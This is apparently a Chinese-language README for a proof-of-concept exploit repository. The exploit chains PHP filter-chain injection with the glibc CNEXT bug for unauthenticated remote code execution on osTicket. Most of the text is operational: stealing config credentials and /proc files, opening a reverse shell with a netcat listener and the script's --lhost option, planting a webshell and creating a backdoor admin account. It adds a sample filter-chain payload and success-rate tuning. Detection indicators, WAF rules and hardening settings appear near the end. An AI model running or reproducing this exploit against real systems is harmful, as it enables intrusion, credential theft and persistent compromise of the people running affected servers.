全链利用:结合 PHP filter chain 注入与 CVE-2024-2961 (CNEXT),在易受攻击的 osTicket 安装上实现未授权远程代码执行。
本仓库包含 CVE-2026-22200 的概念验证利用代码,该漏洞影响 osTicket ≤ 1.18.2 版本。该利用将两种强大的技术链式组合:
结果:在易受攻击的 osTicket 服务器上实现 未授权远程代码执行。
CVSS 评分: 9.8 (严重)
osTicket 的 mPDF 集成允许未授权用户通过精心构造的 HTML 负载(在支持工单中)注入恶意 PHP filter chain。这可以实现:
根本原因:用户提供的 HTML 中的图像 URL 在传递给 mPDF 之前缺乏充分验证。
CVSS 评分: 9.8 (严重)
glibc 的 iconv() 在处理 ISO-2022-CN-EXT 字符集时发生缓冲区溢出。结合 PHP filter chain,这可以实现:
易受攻击的 glibc 版本: < 2.39 (2024年2月)
┌─────────────────────────────────────────────────────────────────┐
│ 1. 侦察阶段 │
│ └─ 检测 osTicket,识别富文本主题 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. 身份认证 │
│ └─ 自行注册 或 使用现有凭证 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. 文件窃取 (PHP Filter Chains) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (数据库凭据, SECRET_SALT) │
│ ├─ /proc/self/maps (内存布局) │
│ └─ /proc/self/environ (环境变量) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. libc 指纹识别 │
│ ├─ 通过 filter chains 提取部分 libc │
│ ├─ 提取 GNU Build ID │
│ └─ 从 libc.rip 下载完整 libc │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE 利用 │
│ ├─ 生成堆损坏负载 │
│ ├─ 通过工单回复注入 (附带 filter 执行修复) │
│ ├─ 通过 PDF 导出触发 (服务器崩溃) │
│ └─ 执行反向 shell │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. 后利用阶段 │
│ ├─ 交互式反向 shell │
│ ├─ 数据库访问 (使用窃取的 DBPASS) │
│ └─ 创建后门管理员账户 │
└─────────────────────────────────────────────────────────────────┘
# 克隆仓库
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# 安装所需包
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# 或
venv\Scripts\activate # Windows
pip install -r requirements.txt
# 终端 1:启动监听器
nc -lvnp 4444
# 终端 2:运行利用脚本
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# 使用代理 (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# 强制指定帮助主题 ID
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# 禁用彩色输出 (用于日志记录)
python3 osticket_exploit.py https://target.com/osticket --no-color
如果注册被禁用,系统会提示输入凭证:
python3 osticket_exploit.py https://target.com/osticket
[?] 输入新账户的邮箱 (或使用现有): [email protected]
[?] 输入密码: ********
该利用使用复杂的 filter chain 将 BMP 头添加到任意文件前,绕过 mPDF 的文件类型限制:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 超过 50 次 iconv 转换 ...]
convert.base64-decode/resource=/etc/passwd
关键创新:BMP 头的每个字符都通过精心设计的 iconv 转换生成,使得任意文件内容可以被嵌入为“有效”的图像。
CNEXT 负载通过以下方式破坏 PHP 的 Zend 内存管理器:
劄增强的可靠性:
劄 而不是 1 个)与原始利用不同,此版本使用 文件系统扫描 来保证 webshell 位置:
结果:100% 检测率(原始版本约 50%)
常见失败:PDF 已下载但不崩溃 = filter 未执行。
已实现的解决方案:
stream=True 强制立即处理# 在详细模式下检查:
[*] 目标 libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 易受 CNEXT 攻击
如果 glibc ≥ 2.39,CNEXT 将不起作用(已修复)。
症状:服务器崩溃但没有反向 shell
原因:
解决方法:
# 使用 nc 反向 shell(更短)
# 如果 bash/python 命令太长,会自动回退
# 或者使用直接 IP 而不是主机名
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # 使用 IP,不要用主机名
--lport 4444
日志指标:
# Apache/Nginx 日志
"php://filter/" 出现在 POST 请求中
"convert.iconv." 出现在请求体中
异常的 PDF 生成模式
短时间内多次 PDF 请求
# PHP 错误日志
PDF 生成期间出现段错误
iconv() 崩溃
堆损坏错误
网络指标:
在 mPDF 中禁用 PHP 流包装器:
// 在 mPDF 配置中
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
WAF 规则 (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'检测到 PHP filter'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'可疑的 iconv 链'"
速率限制:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()仅限教育和授权测试使用
本工具仅用于:
未经授权访问计算机系统是违法的
作者:
用户需自行负责确保在测试任何系统前已获得适当授权。
使用本工具即表示您同意:
未经授权访问计算机系统在以下法律中被视为犯罪:
最高处罚可能包括监禁和巨额罚款。
本项目采用 MIT 许可证 — 详见 LICENSE 文件。
注意:MIT 许可证授予使用、修改和分发的权利,但并不授予攻击不属于您或您未经授权测试的系统的权限。
对于安全研究人员和问题:
请不要使用此联系方式进行以下事宜:
以爱心为安全研究和教育构建
如果觉得有用,请给本仓库点赞!
最后更新: 2026-03-03
| 错误 | 原因 | 解决方法 |
|---|
No CSRF token | 会话过期 | 重新运行利用脚本 |
No help-topic found | 没有富文本主题 | 手动使用 --topic-id |
Build ID not found | 部分 libc 损坏 | 检查 /proc/self/maps 提取 |
Cannot locate heap | 内存布局异常 | 利用可能失败(少见) |
| 指标 | 值 |
|---|
| 代码行数 | ~3,000 |
| 成功率 | 95%+ (包含修复后) |
| 平均运行时间 | 2-3 分钟 |
| 崩溃可靠性 | 99% (包含增强后) |
| Webshell 检测率 | 100% (包含扫描) |